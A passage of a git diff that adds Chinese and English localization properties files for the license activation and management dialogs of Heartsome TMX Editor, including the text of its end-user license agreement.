\u7f51\u7edc\u8fde\u63a5\u5f02\u5e38\uff0c\u9519\u8bef\u4ee3\u7801\uff1a{0}\u3002\n\u65e0\u6cd5\u8054\u7f51\u9a8c\u8bc1\u60a8\u7684\u8bd5\u7528\u8bb8\u53ef\u8bc1\u72b6\u6001\uff0c\u8bf7\u68c0\u67e5\u60a8\u7684\u7f51\u7edc\u8fde\u63a5\u3002\n\n\u5728\u91cd\u65b0\u8054\u7f51\u9a8c\u8bc1\u60a8\u7684\u8bd5\u7528\u8bb8\u53ef\u8bc1\u4e4b\u524d\uff0c\u60a8\u6682\u65f6\u65e0\u6cd5\u4f7f\u7528\u672c\u8f6f\u4ef6\u3002\n\u8d2d\u4e70\u5546\u4e1a\u8bb8\u53ef\u8bc1\u540e\uff0c\u53ef\u4ee5\u8131\u673a\u4f7f\u7528\u5df2\u6fc0\u6d3b\u7684\u8f6f\u4ef6\u3002 +license.LicenseManageDialog.invalidLicense = \u8bb8\u53ef\u8bc1\u65e0\u6548 +license.LicenseManageDialog.expired = \u8bd5\u7528\u671f\u5df2\u6ee1 +license.LicenseManageDialog.unactiveSuccess = \u8be5\u8bb8\u53ef\u8bc1\u5df2\u6210\u529f\u53d6\u6d88\u6fc0\u6d3b\u3002\n\u60a8\u53ef\u4ee5\u5728\u5176\u4ed6\u8ba1\u7b97\u673a\u4e0a\u91cd\u65b0\u6fc0\u6d3b\u5e76\u4f7f\u7528\u8be5\u8bb8\u53ef\u8bc1\u3002 +license.LicenseManageDialog.unactiveFail = \u53d6\u6d88\u6fc0\u6d3b\u5931\u8d25\uff0c\u8bf7\u7a0d\u540e\u518d\u91cd\u8bd5\u3002\n\u82e5\u6b64\u95ee\u9898\u4ecd\u7136\u5b58\u5728\uff0c\u8bf7\u8054\u7cfb Heartsome \u6280\u672f\u652f\u6301\u4eba\u5458\u89e3\u51b3\u3002 +license.LicenseManageHandler.progress = \u6b63\u5728\u83b7\u53d6\u8bb8\u53ef\u8bc1\u4fe1\u606f... +license.LicenseManageDialog.licenseException = \u8bb8\u53ef\u8bc1\u5f02\u5e38 +license.LicenseManageDialog.licenseExceptionInfo = \u8bf7\u5c1d\u8bd5\u91cd\u65b0\u8fd0\u884c\u672c\u8f6f\u4ef6\uff0c\u6216\u4ee5\u7ba1\u7406\u5458\u8eab\u4efd\u91cd\u65b0\u8fd0\u884c\u3002\n\n\u82e5\u6b64\u95ee\u9898\u4ecd\u7136\u5b58\u5728\uff0c\u8bf7\u8054\u7cfb Heartsome \u6280\u672f\u652f\u6301\u4eba\u5458\uff0c\u5e76\u63d0\u4f9b\u5982\u4e0b\u9519\u8bef\u4ee3\u7801\uff1a{0}\u3002 +license.LicenseManageDialog.licenseExceptionInfo1 = \u8bf7\u5c1d\u8bd5\u91cd\u65b0\u8fd0\u884c\u672c\u8f6f\u4ef6\uff0c\u6216\u4ee5\u7ba1\u7406\u5458\u8eab\u4efd\u91cd\u65b0\u8fd0\u884c\u3002\n\n\u82e5\u6b64\u95ee\u9898\u4ecd\u7136\u5b58\u5728\uff0c\u60a8\u4e5f\u53ef\u4ee5\u5c1d\u8bd5\u91cd\u65b0\u6fc0\u6d3b\u8bb8\u53ef\u8bc1\uff0c\u6216\u8054\u7cfb Heartsome \u6280\u672f\u652f\u6301\u4eba\u5458\uff0c\u5e76\u63d0\u4f9b\u5982\u4e0b\u9519\u8bef\u4ee3\u7801\uff1a{0}\u3002 +license.LicenseManageDialog.activeByAdmin = \u6fc0\u6d3b\u5931\u8d25\u3002\u8bf7\u6309\u5982\u4e0b\u6b65\u9aa4\u91cd\u65b0\u8fd0\u884c\u672c\u8f6f\u4ef6\uff1a\n 1\u3001\u53f3\u952e\u5355\u51fb .exe \u6587\u4ef6\uff1b\n 2\u3001\u9009\u62e9\u201c\u4ee5\u7ba1\u7406\u5458\u8eab\u4efd\u8fd0\u884c\u201d\u3002 +license.LicenseManageDialog.stopLicense = \u8be5\u8bb8\u53ef\u5e8f\u5217\u53f7\u5df2\u88ab\u7981\u7528\u3002 +license.LicenseManageDialog.noSameVersion = \u5f53\u524d\u7a0b\u5e8f\u7248\u672c\u7c7b\u578b\uff1a{0}\n\u5df2\u6fc0\u6d3b\u7684\u8bb8\u53ef\u8bc1\u7248\u672c\u7c7b\u578b\uff1a{1}\n\u5f53\u524d\u5df2\u6fc0\u6d3b\u7684\u8bb8\u53ef\u8bc1\u4e0e\u5f53\u524d\u4ea7\u54c1\u7248\u672c\u7c7b\u578b\u4e0d\u76f8\u7b26\uff0c\u8bf7\u91cd\u65b0\u6fc0\u6d3b\u4e0e\u5f53\u524d\u4ea7\u54c1\u7248\u672c\u7c7b\u578b\u76f8\u7b26\u7684\u8bb8\u53ef\u8bc1\u3002 +license.LicenseManageDialog.maccodeError = \u8be5\u8bb8\u53ef\u8bc1\u5e76\u975e\u5728\u5f53\u524d\u8ba1\u7b97\u673a\u4e0a\u6fc0\u6d3b\uff0c\u6216\u60a8\u5df2\u66f4\u6362\u672c\u8ba1\u7b97\u673a\u7684\u786c\u4ef6\u3002\n\u8bf7\u91cd\u65b0\u5728\u672c\u8ba1\u7b97\u673a\u4e0a\u6fc0\u6d3b\u60a8\u7684\u8bb8\u53ef\u8bc1\u3002 +license.LicenseManageDialog.Ultimate = \u65d7\u8230\u7248 +license.LicenseManageDialog.Professional = \u4e13\u4e1a\u7248 +license.LicenseManageDialog.Personal = \u4e2a\u4eba\u7248 +license.LicenseManageDialog.Lite = \u7cbe\u7b80\u7248 +license.LicenseManageDialog.infoInvalid1 = \u60a8\u8f93\u5165\u7684\u8bb8\u53ef\u8bc1\u5e8f\u5217\u53f7\u662f{1}\uff0c\u4e0e\u5b89\u88c5\u7684{0}\u4e0d\u76f8\u7b26\uff0c\u8bf7\uff1a\n1\u3001\u786e\u8ba4\u6b63\u786e\u8f93\u5165\u4e86\u8bb8\u53ef\u8bc1\u5e8f\u5217\u53f7\uff0c\u6216\uff1b\n2\u3001\u7533\u8bf7{0}\u8bb8\u53ef\u8bc1\uff0c\u6216\uff1b\n3\u3001\u4e0b\u8f7d{1}\u8f6f\u4ef6\u5305\u3002 +license.LicenseManageDialog.urlr8buy = https://lic.heartsome.net/webbuy/r8buy.jsp?LANG=CN +license.LicenseManageDialog.urlr8trial = https://lic.heartsome.net/webbuy/r8trial.jsp?LANG=CN +license.CustomMessageDialog.urlDownload = http://www.heartsome.net/getdownloads.html?LANG=CN&PRODUCT={0}&PLATFORM={1}&VERSION={2}&utm_source=SoftwareLic&utm_medium=Software&utm_campaign=SoftwareLic +license.CustomMessageDialog.inputAgain = \u91cd\u65b0\u8f93\u5165 +license.CustomMessageDialog.download = \u4e0b\u8f7d\u8f6f\u4ef6 + +license.LicenseManageDialog.netconnection = \u7f51\u7edc\u8fde\u63a5(&N) + +license.ActiveMethodDialog.activemethod = \u6fc0\u6d3b\u65b9\u5f0f +license.ActiveMethodDialog.activeonline = \u5728\u7ebf\u6fc0\u6d3b(&O) +license.ActiveMethodDialog.recommend = \uff08\u63a8\u8350\uff09 +license.ActiveMethodDialog.onlinemessage = \u5728\u7ebf\u6fc0\u6d3b\u53ef\u5728\u6570\u5206\u949f\u4e4b\u5185\u5b8c\u6210\uff0c\u9a6c\u4e0a\u5c31\u53ef\u4ee5\u4f7f\u7528\u3002\u5982\u679c\u60a8\u7684\u8ba1\u7b97\u673a\u5df2\u8fde\u63a5\u5230 Internet\uff0c\u8bf7\u9009\u62e9\u5728\u7ebf\u6fc0\u6d3b\u3002 +license.ActiveMethodDialog.activeoffline = \u79bb\u7ebf\u6fc0\u6d3b(&F) +license.ActiveMethodDialog.offlinemessage = \u79bb\u7ebf\u6fc0\u6d3b\u9700\u8981\u4eba\u5de5\u5904\u7406\uff0c\u901a\u5e38\u9700\u8981\u4e00\u4e2a\u5de5\u4f5c\u65e5\u5de6\u53f3\u624d\u80fd\u5b8c\u6210\u3002\u5982\u679c\u60a8\u7684\u8ba1\u7b97\u673a\u59cb\u7ec8\u65e0\u6cd5\u8fde\u63a5\u5230 Internet\uff0c\u53ef\u9009\u62e9\u79bb\u7ebf\u6fc0\u6d3b\u3002 +license.ActiveMethodDialog.offlinemessage1 = \n\u63d0\u793a\uff1a\n\u5728\u7ebf\u6fc0\u6d3b\u540c\u65f6\u652f\u6301\u8bd5\u7528\u8bb8\u53ef\u8bc1\u548c\u5546\u4e1a\u8bb8\u53ef\u8bc1\uff0c\u79bb\u7ebf\u6fc0\u6d3b\u4ec5\u652f\u6301\u5546\u4e1a\u8bb8\u53ef\u8bc1\u3002 +license.OfflineActiveDialog.operatenavigation = \u79bb\u7ebf\u6fc0\u6d3b\u6b65\u9aa4\uff1a +license.OfflineActiveDialog.inputlicenseid = 1\u3001\u8f93\u5165\u5e8f\u5217\u53f7 +license.OfflineActiveDialog.getactivekey = 2\u3001\u83b7\u53d6\u6fc0\u6d3b\u7801 +license.OfflineActiveDialog.getgrantfile = 3\u3001\u83b7\u53d6\u6388\u6743\u6587\u4ef6 +license.OfflineActiveDialog.activefinish = 4\u3001\u5b8c\u6210\u6fc0\u6d3b +license.OfflineActiveDialog.seperate = > +license.OfflineActiveDialog.licenseIdGroup = \u8f93\u5165\u5e8f\u5217\u53f7 +license.OfflineActiveDialog.backBtn = \u4e0a\u4e00\u6b65(&B) +license.OfflineActiveDialog.getActiveKeyByAdmin = \u83b7\u53d6\u6fc0\u6d3b\u7801\u5931\u8d25\u3002\u8bf7\u4f7f\u7528\u7ba1\u7406\u5458\u8eab\u4efd\u8fd0\u884c\u672c\u8f6f\u4ef6\u3002 +license.OfflineActiveDialog.getActiveKeyFail = \u83b7\u53d6\u6fc0\u6d3b\u7801\u5931\u8d25\uff0c\u8bf7\u7a0d\u540e\u518d\u91cd\u8bd5\u3002\n\u82e5\u6b64\u95ee\u9898\u4ecd\u7136\u5b58\u5728\uff0c\u8bf7\u8054\u7cfb Heartsome \u6280\u672f\u652f\u6301\u4eba\u5458\uff0c\u5e76\u63d0\u4f9b\u5982\u4e0b\u9519\u8bef\u4ee3\u7801\uff1a{0}\u3002 +license.OfflineActiveDialog.onlyCommercial = \u60a8\u8f93\u5165\u7684\u662f\u8bd5\u7528\u8bb8\u53ef\u8bc1\uff0c\u800c\u79bb\u7ebf\u6fc0\u6d3b\u4ec5\u652f\u6301\u5546\u4e1a\u8bb8\u53ef\u8bc1\u3002\n\u8bf7\u91cd\u65b0\u8f93\u5165\u6709\u6548\u7684\u5546\u4e1a\u8bb8\u53ef\u8bc1\u5e8f\u5217\u53f7\u3002 +license.GetActiveKeyDialog.activekey = \u83b7\u53d6\u6fc0\u6d3b\u7801 +license.GetActiveKeyDialog.activemessage = \u8bf7\u5c06\u4ee5\u4e0b\u6fc0\u6d3b\u7801\u590d\u5236\u5230\u90ae\u4ef6\u4e2d\u53d1\u9001\u81f3 licensing@heartsome.net\uff0c\u5373\u53ef\u5b8c\u6210\u201c\u83b7\u53d6\u6388\u6743\u6587\u4ef6\u201d\u3002 +license.GetActiveKeyDialog.ts = licensing@heartsome.net +license.GetActiveKeyDialog.subject = \u6fc0\u6d3b\u7801 +license.GetActiveKeyDialog.notsupport = \u5f53\u524d\u5e73\u53f0\u4e0d\u652f\u6301\u6253\u5f00\u9ed8\u8ba4\u90ae\u4ef6\u5ba2\u6237\u7aef\u3002 +license.GetActiveKeyDialog.activemessage1 = \u5982\u679c\u60a8\u5df2\u6709\u6388\u6743\u6587\u4ef6\uff0c\u8bf7\u76f4\u63a5\u70b9\u51fb\u4e0b\u4e00\u6b65\u3002 +license.GetActiveKeyDialog.copytoclipboard = \u590d\u5236\u5230\u526a\u8d34\u677f +license.SelectGrantFileDialog.grantfile = \u5b8c\u6210\u6fc0\u6d3b +license.SelectGrantFileDialog.grantfile1 = \u6388\u6743\u6587\u4ef6\uff1a +license.SelectGrantFileDialog.scan = \u6d4f\u89c8(&B)... +license.SelectGrantFileDialog.selectgrantfile = \u9009\u62e9\u6388\u6743\u6587\u4ef6 +license.SelectGrantFileDialog.selectfile = \u8bf7\u9009\u62e9\u4ece Heartsome \u83b7\u53d6\u7684\u6388\u6743\u6587\u4ef6\u3002 +license.SelectGrantFileDialog.invalidfile = \u6388\u6743\u6587\u4ef6\u65e0\u6548\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u6709\u6548\u7684\u6388\u6743\u6587\u4ef6\u3002\n\u82e5\u60a8\u5df2\u91cd\u65b0\u5b89\u88c5\u64cd\u4f5c\u7cfb\u7edf\u6216\u66f4\u6362\u7535\u8111\uff0c\u8bf7\u91cd\u65b0\u83b7\u53d6\u6fc0\u6d3b\u7801\u5e76\u53d1\u9001\u7ed9 Heartsome\uff0c\u4ee5\u83b7\u53d6\u6700\u65b0\u7684\u6388\u6743\u6587\u4ef6\u3002 +license.SelectGrantFileDialog.invalidfile1 = \u6388\u6743\u6587\u4ef6\u65e0\u6548\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u6709\u6548\u7684\u6388\u6743\u6587\u4ef6\u3002 + +## add by jason 2013-09-23 ## +license.InvalidateDialog.title = \u8bb8\u53ef\u8bc1\u7ba1\u7406 +license.InvalidateDialog.activeBtn = \u6fc0\u6d3b(&A) +license.InvalidateDialog.closeBtn = \u5173\u95ed(&C) +license.InvalidateDialog.msg1 = \u8bb8\u53ef\u8bc1\u9a8c\u8bc1\u672a\u901a\u8fc7\u3002\u60a8\u5c06\u53ea\u80fd\u5904\u7406 TU \u6570\u91cf\u4e0d\u8d85\u8fc7 10000 \u4e2a\u7684 TMX \u6587\u4ef6\uff1a +### end ## \ No newline at end of file diff --git a/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/resource/message_en.properties b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/resource/message_en.properties new file mode 100644 index 0000000..10ea07c --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/resource/message_en.properties @@ -0,0 +1,102 @@ +license.LicenseAgreementDialog.title = Heartsome Software End User License Agreement +license.LicenseAgreementDialog.label = Please read this Agreement carefully: +license.LicenseAgreementDialog.agreeBtn = I have read and accept the license agreement. +license.LicenseAgreementDialog.agreement =End-User License Agreement of Heartsome Software\n\nThis software license agreement (" the License") is a legally binding agreement between you ("End User") and Heartsome Technologies Ltd (hereinafter HEARTSOME) which is registered in Hong Kong, China. Using Heartsome software shall be deemed irrevocable acceptance under the terms of this agreement. The definition of "Heartsome Software" under this agreement shall mean the "Heartsome TMX Editor/Heartsome TMX Editor/Heartsome Dictionary Editor" software, including successfully activated products and built-in technology which is designed to prevent illegal reproduction. The protective activation technology may prevent you from using this software if you fail to follow the activation instructions as described in the software and documents.\n\nPLEASE READ THIS LICENCE CAREFULLYBEFORE USING THE HEARTSOME SOFTWARE. USING THE HEARTSOME SOFTWARE SHALL BE DEEMED THAT YOU HAVE ACCEPTED THE TERMS OF THIS LICENCE. IF YOU DO NOT AGREE TO ANY TERM(S) OF THIS LICENCE, DO NOT INSTALL THIS SOFTWARE.\n\n1. General\nThe software, included the documents and fonts, stored in any media or in any form (hereinafter "Heartsome Software") are licensed to you for use only under the terms of this license by HEARTSOME. Heartsome reserves all rights not expressly granted to you. You have the ownership of the media stored by Heartsome Software, but HEARTSOME reserves the ownership of the Heartsome Software. Unless an individual license for upgrade is provided, the rights granted by Heartsome under the terms of this License include any software upgrade licenses which are used to replace and/or add to the previous Heartsome Software.\n\n2. Scope of the License\nThis License granted to you is limited to a single, non-transferable and non-exclusive license to use on one machine as permitted under this agreement. You are allowed to copy the Heartsome Software only once in machine-readable form for backup purpose; such backup shall carry all the copyrights or its exclusive right of the original software. Unless indicated otherwise set forth herein, you shall not copy, decompile, reverse engineer, disassemble modify or create derivatives of the Heartsome Software in whole or in part thereof.\n\n3. Transfer\nNo rent, lease, lend or sub-license of the Heartsome Software shall be allowed. However, you are entitled, if so desired, to transfer all your rights of the Heartsome Software to a Third Party permanently in whole if: (a) The transfer contains all of the Heartsome Software, including its accessories, original media, printed materials, fonts as well as this License; (b) You shall not keep any copy of the Heartsome Software in whole or in part thereof, including the copies which are stored on computers or other devices; and (c) The party in receipt of the Heartsome Software is obliged to read and accept the terms and conditions of this License.\n\n4. Termination\nYour rights under this license will terminate automatically without notice from Heartsome if you fail to comply with any term(s) of this license. Upon termination of the license, you shall cease all use of the Heartsome software, and destroy all copies of the Heartsome software in any media forms in whole or in part thereof. \n\n5. No Warranty\nYou expressly acknowledge and agree that use of the Heartsome Software (as defined above) and services (as defined below) is at your sole risk and that entire risk as to satisfactory, performance, accuracy and quality is with you. The outcome is according to your effort. Any service performed or provided by Heartsome software are provided \u201cAS IS\u201d, with all faults and without warranty of any kind, and HEARTSOME hereby disclaims all warranties and conditions with respect to the Heartsome software and any services, either express, implied or statutory, including, but not limited to, the implied warranties and/or conditions of merchantability, of satisfactory quality, of fitness for a particular purpose and non-infringement of the Third Party rights. HEARTSOME does not warrant against interference with your enjoyment of the licensed Heartsome software; that the functions contained in, or services performed or provided by, the licensed Heartsome software will meet your requirements, that the operation of the licensed Heartsome software or service will be uninterrupted or error-free, or that defects in the licensed Heartsome software will be corrected. No oral or written information or advice given by HEARTSOME or its authorized representative shall create a warranty. Should the Heartsome software prove defective, regardless of real or supposed, you assume the entire cost of all necessary servicing, repair or correction. \n\n6. Limitation of Liability\nTO THE EXTENT NOT PROHIBITED BY LAW, IN NO EVENT SHALL HEARTSOME BE LIABLE FOR PERSONAL INJURY, AND/OR ANY INCIDENTAL OR CONSEQUENTIAL DAMAGES WHATSOEVER, INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF PROFITS, LOSS OF DATA, BUSINESS INTERRUPTION OR ANY OTHER COMMERCIAL DAMAGES OR LOSSES, ARISING OUT OF OR RELATED TO YOUR USE OR INABILITY TO USE THE HEARTSOME SOFTWARE, HOWEVER CAUSED, REGARDLESS OF THE THEORY OF LIABILITY (CONTRACT, TORT OR OTHERWISE) AND EVEN IF HEARTSOME HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. In no event shall Heartsome's total liability to you for all damages exceed the amount of one dollar ($1.00). The foregoing limitation will apply even if the above stated remedy fails of its essential purpose.\n\n7. Enforceability\nThis License shall be governed by and construed in accordance with the laws of the Hong Kong Special Administrative Region and shall be as equally effective as the agreement which is signed and fulfilled in Hong Kong for Hongkongese. This License shall not be subject to the \u201cUnited Nations Convention on Contracts for the International Sale of Goods\u201d, the application of this license is expressly excluded. In the event that a competent jurisdiction court judges that any provision or any part thereof is unenforceable for any reason, the rest of this License shall survive.\n\n8. Complete and Final Agreement\nThis License is the entire agreement between the parties with respect to the use of the Heartsome Software licensed hereunder. It supersedes all previous or contemporaneous understandings pertaining to this subject matter. No amendment or modification of this License shall be deemed official without express and prior written permission of HEARTSOME. All translations of this License shall be done for local requirements only and in the event of any dispute arising from the English and any other translations, the English version of this License shall prevail.\n\n9. Intellectual Property Right, All Rights Reserved\nThe Intellectual Property Right of any authorized copies of this software and the pricing Intellectual Property Right (for example, business secret and confidential information) of relevant software\u2019s structures, organizations and codes are all reserved by HEARTSOME. The Intellectual Property Right of Third Party\u2019s software which is used in this software is all reserved by the Third Party. This software is protected by the law (including but not limited to, Copyrights Law of Hong Kong Special Administrative Region and other countries) and other international agreements. Unless indicated otherwise, no licenses of any Intellectual Property Right are granted to any end users under this agreement and all rights in this agreement not expressly granted herein are reserved by HEARTSOME and its suppliers.\n\n10. Support Service\n1) HEARTSOME will provide the support service as indicated in the attached user manual and other documents of this software according to relevant policies and plans. (\u201cSupport Service\u201d)\n2) Any additional software code (if included) in the support service shall be deemed to be part of this software and obligated to the provisions of this agreement.\n3) HEARTSOME shall have the right to use the technology information (if any) which is part of the support service provided by Party A for commercial purpose, including product support and development, prior to Party A\u2019s permission. Unless necessary to support service, HEARTSOME shall not disclose any identity information of Party A while using such technology information without permission by Party A. +license.LicenseAgreementDialog.nextBtn = &Next +license.LicenseAgreementDialog.exitBtn = &Close +license.LicenseManageDialog.title = Heartsome TMX Editor License Management +license.LicenseManageDialog.statusGroup = License Status +license.LicenseManageDialog.statusLabel = Current License Status: +license.LicenseManageDialog.typeLabel = Current License Type: +license.LicenseManageDialog.notActiveLabel = Not activated +license.LicenseManageDialog.activeLabel = Activated +license.LicenseManageDialog.cancelActiveButton = Deactivate +license.LicenseManageDialog.confirm = Confirm +license.LicenseManageDialog.confirmMessage = You are deactivating current license. After this done:\n1. You must activate a valid license on the computer, and then can continue to use the software;\n2. You can activate the license on other computers or operating system.\n\nAre you sure you want to deactivate the current license? +license.LicenseManageDialog.licenseIdGroup = License Serial Number +license.LicenseManageDialog.licenseIdLabel = Serial Number: +license.LicenseManageDialog.activeBtn = &Activate +license.LicenseManageDialog.exitBtn = &Close +license.LicenseManageDialog.label1 = If you do not have a serial number, please +license.LicenseManageDialog.label2 = or +license.LicenseManageDialog.label3 = . +license.LicenseManageDialog.link1 = purchase a license +license.LicenseManageDialog.link2 = apply for a trial license +license.LicenseManageDialog.label4 = Verifying: +license.LicenseManageDialog.titleInvalid = Error +license.LicenseManageDialog.infoInvalid = You have entered an invalid serial number. Please re-enter the serial number.\nIf the problem has not been solved, please contact Heartsome technical support. +license.LicenseManageDialog.notice = Message +license.LicenseManageDialog.activeSuccess = Your license has been activated sucessfully. +license.LicenseManageDialog.activeFail = Activation failed, please try again later.\nIf the problem is not solved, please contact Heartsome technical support and provide the following error code: {0}. +license.LicenseManageDialog.tempMutilActive = Your trial period is expired or you have activated the trial license on this computer before.\n\nIf you want to extend the trial period, please contact Heartsome technical support, and try to provide the trial license serial number you applied before. +license.LicenseManageDialog.activedLicense = The license you entered has been activated by another user. Please enter a new license.\n\nIf you have activated the license on another computer, please deactivate the license on that computer, then activate it on this computer.\nIf you are unable to deactivate the license on that computer, please contact Heartsome technical support. The license will be activated manually. +license.LicenseManageDialog.titleNet = Error +license.LicenseManageDialog.infoNet = Exceptions occurred on the network connection, error code: {0}. Please check your internet connection and try again. +license.LicenseManageDialog.typeTemp = Heartsome TMX Editor 8 Trial License +license.LicenseManageDialog.typeBusiness = Heartsome TMX Editor 8 Commercial License +license.LicenseManageDialog.utilDate = Trial Period: +license.LicenseManageDialog.unvalidate = Can not be verified +license.LicenseManageDialog.noticeLbl = Exceptions occurred on the network connection, error code: {0}.\nUnable to verify the status of your trial license via network, please check your network connection.\n\nYou can not use this software until the license has been verified.\nYou can use this software offline when a commercial license has been activated. +license.LicenseManageDialog.invalidLicense = Invalid License +license.LicenseManageDialog.expired = Trial Period Expired +license.LicenseManageDialog.unactiveSuccess = The license has been deactivated.\nYou may activate the license on another computer. +license.LicenseManageDialog.unactiveFail = Unable to deactivate the license, please try again later.\nIf the problem has not been solved, please contact Heartsome technical support. +license.LicenseManageHandler.progress = Retrieving License Information... +license.LicenseManageDialog.licenseException = Invalid License +license.LicenseManageDialog.licenseExceptionInfo = Please try to re-run the software, or run as an administrator again.\nIf the problem is not solved, please contact Heartsome technical support and provide the following error code: {0}. +license.LicenseManageDialog.licenseExceptionInfo1 = Please try to re-run the software, or run as an administrator again.\n\nIf the problem is not solved, you can also try to re-activate the license or contact Heartsome technical support and provide the following error code: {0}. +license.LicenseManageDialog.activeByAdmin = Activation failed. Please re-run the software as follows:\n 1. Right click the .exe file.\n 2. Select "Run as administrator". +license.LicenseManageDialog.stopLicense = The serial number of the license has been disabled. +license.LicenseManageDialog.noSameVersion = The current version of the program: {0}\nActivated license type: {1}\nCurrently-activated license and current version of the product do not match. Please re-activate the license consistent with the current version of the product. +license.LicenseManageDialog.maccodeError = The license has not been activated on the current computer, or you have replaced the computer's hardware.\nPlease re-activate your license on this computer. +license.LicenseManageDialog.Ultimate = Ultimate Edition +license.LicenseManageDialog.Professional = Professional Edition +license.LicenseManageDialog.Personal = Personal Edition +license.LicenseManageDialog.Lite = Lite Edition +license.LicenseManageDialog.infoInvalid1 = The license serial number you entered is for {1}, not for {0}. Please take following steps: \n1. Make sure you enter the correct license serial number, or;\n2. Apply for the {0} license, or;\n3. Download the {1} of the software. +license.LicenseManageDialog.urlr8buy = https://lic.heartsome.net/webbuy/r8buy.jsp?LANG=EN +license.LicenseManageDialog.urlr8trial = https://lic.heartsome.net/webbuy/r8trial.jsp?LANG=EN +license.CustomMessageDialog.urlDownload = http://www.heartsome.net/getdownloads.html?LANG=EN&PRODUCT={0}&PLATFORM={1}&VERSION={2}&utm_source=SoftwareLic&utm_medium=Software&utm_campaign=SoftwareLic +license.CustomMessageDialog.inputAgain = Re-enter +license.CustomMessageDialog.download = Download software +license.LicenseManageDialog.netconnection = &Network Connections + +license.ActiveMethodDialog.activemethod = Activation Mode +license.ActiveMethodDialog.activeonline = &Online Activation +license.ActiveMethodDialog.recommend = (Recommended) +license.ActiveMethodDialog.onlinemessage = Online activation can be completed within minutes over which you can get started immediately. If your computer has connected to the Internet, please select online activation. +license.ActiveMethodDialog.activeoffline = O&ffline Activation +license.ActiveMethodDialog.offlinemessage = The offline activation requires manual processing which usually takes about one business day to complete. If your computer has never been able to connect to the Internet, please choose offline activation. +license.ActiveMethodDialog.offlinemessage1 = \nTip:\nThe trial license and commercial license can be activated through online activation. Only commercial license can be activated through offline activation. +license.OfflineActiveDialog.operatenavigation = Steps: +license.OfflineActiveDialog.inputlicenseid = 1. Enter SN +license.OfflineActiveDialog.getactivekey = 2. Get Activation Code +license.OfflineActiveDialog.getgrantfile = 3. Obtain Authorization File +license.OfflineActiveDialog.activefinish = 4. Complete +license.OfflineActiveDialog.seperate = > +license.OfflineActiveDialog.licenseIdGroup = Enter Serial Number +license.OfflineActiveDialog.backBtn = &Back +license.OfflineActiveDialog.getActiveKeyByAdmin = Failed to obtain activation code. Please run the software as administrator. +license.OfflineActiveDialog.getActiveKeyFail = Failed to obtain activation code, please try again later.\nIf the problem persists, please contact Heartsome technology support staff, and provide the following error code: {0}. +license.OfflineActiveDialog.onlyCommercial = You have entered a trial license. Offline activation only supports commercial license.\nPlease re-enter a valid commercial license serial number. +license.GetActiveKeyDialog.activekey = Get Activation Code +license.GetActiveKeyDialog.activemessage = Copy the following activation code to your email and send to licensing@heartsome.net to complete "obtain authorization file". +license.GetActiveKeyDialog.ts = licensing@heartsome.net +license.GetActiveKeyDialog.subject = Activation Code +license.GetActiveKeyDialog.notsupport = Opening your default e-mail client is not supported in the current platform. +license.GetActiveKeyDialog.activemessage1 = If you already have an authorization file, please click Next. +license.GetActiveKeyDialog.copytoclipboard = Copy to Clipboard +license.SelectGrantFileDialog.grantfile = Complete Activation +license.SelectGrantFileDialog.grantfile1 = Authorization File: +license.SelectGrantFileDialog.scan = &Browse... +license.SelectGrantFileDialog.selectgrantfile = Select authorization file +license.SelectGrantFileDialog.selectfile = Please select your authorization file from Heartsome. +license.SelectGrantFileDialog.invalidfile = The selected authorization file is invalid, please re-select a valid authorization file.\nIf you have reinstalled the operating system or replaced the computer, please re-get activation code and send it to Heartsome, in order to obtain the latest authorization file. +license.SelectGrantFileDialog.invalidfile1 = The selected authorization file is invalid, please re-select a valid authorization file. + +## add by jason 2013-09-23 ## +license.InvalidateDialog.title = License Management +license.InvalidateDialog.activeBtn = &Activate +license.InvalidateDialog.closeBtn = &Close +license.InvalidateDialog.msg1 = License validation did not pass. You can only process TMX files contain no more than 10000 TUs: +### end ## \ No newline at end of file diff --git a/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/resource/message_zh.properties b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/resource/message_zh.properties new file mode 100644 index 0000000..3a66760 --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/resource/message_zh.properties @@ -0,0 +1,103 @@ +license.LicenseAgreementDialog.title = Heartsome \u8f6f\u4ef6\u6700\u7ec8\u7528\u6237\u8bb8\u53ef\u534f\u8bae +license.LicenseAgreementDialog.label = \u8bf7\u4ed4\u7ec6\u9605\u8bfb Heartsome \u8f6f\u4ef6\u6700\u7ec8\u7528\u6237\u8bb8\u53ef\u534f\u8bae\u7684\u5185\u5bb9\uff1a +license.LicenseAgreementDialog.agreeBtn = \u6211\u5df2\u4ed4\u7ec6\u9605\u8bfb\u5e76\u63a5\u53d7\u8be5\u8bb8\u53ef\u534f\u8bae +license.LicenseAgreementDialog.agreement = Heartsome \u8f6f\u4ef6\u6700\u7ec8\u7528\u6237\u8bb8\u53ef\u534f\u8bae\n\n\u672c\u8f6f\u4ef6\u8bb8\u53ef\u534f\u8bae\uff08\u201c\u8bb8\u53ef\u8bc1\u201d\uff09\u662f\u5728\u60a8\uff08\u201c\u6700\u7ec8\u7528\u6237\u201d\uff09\u4e0e Heartsome Technologies Ltd \u516c\u53f8\u4e4b\u95f4\u7b7e\u8ba2\u7684\u6cd5\u5f8b\u534f\u8bae\u3002Heartsome Technologies Ltd \u662f\u5728\u9999\u6e2f\uff08\u4e2d\u56fd\uff09\u6ce8\u518c\u7684\u516c\u53f8\uff08\u4ee5\u4e0b\u7b80\u79f0 HEARTSOME\uff09\u3002\u60a8\u4f7f\u7528 Heartsome \u8f6f\u4ef6\uff0c\u5373\u8868\u793a\u540c\u610f\u63a5\u53d7\u672c\u8bb8\u53ef\u8bc1\u7684\u6761\u6b3e\u7ea6\u675f\u3002\u672c\u8bb8\u53ef\u534f\u8bae\u4e2d\u6240\u4f7f\u7528\u7684\u672f\u8bed\u201cHeartsome \u8f6f\u4ef6\u201d\u662f\u6307\u201cHeartsome TMX Editor /Heartsome TMX \u7ffb\u8bd1\u8bb0\u5fc6\u5e93\u7f16\u8f91\u5668/Heartsome 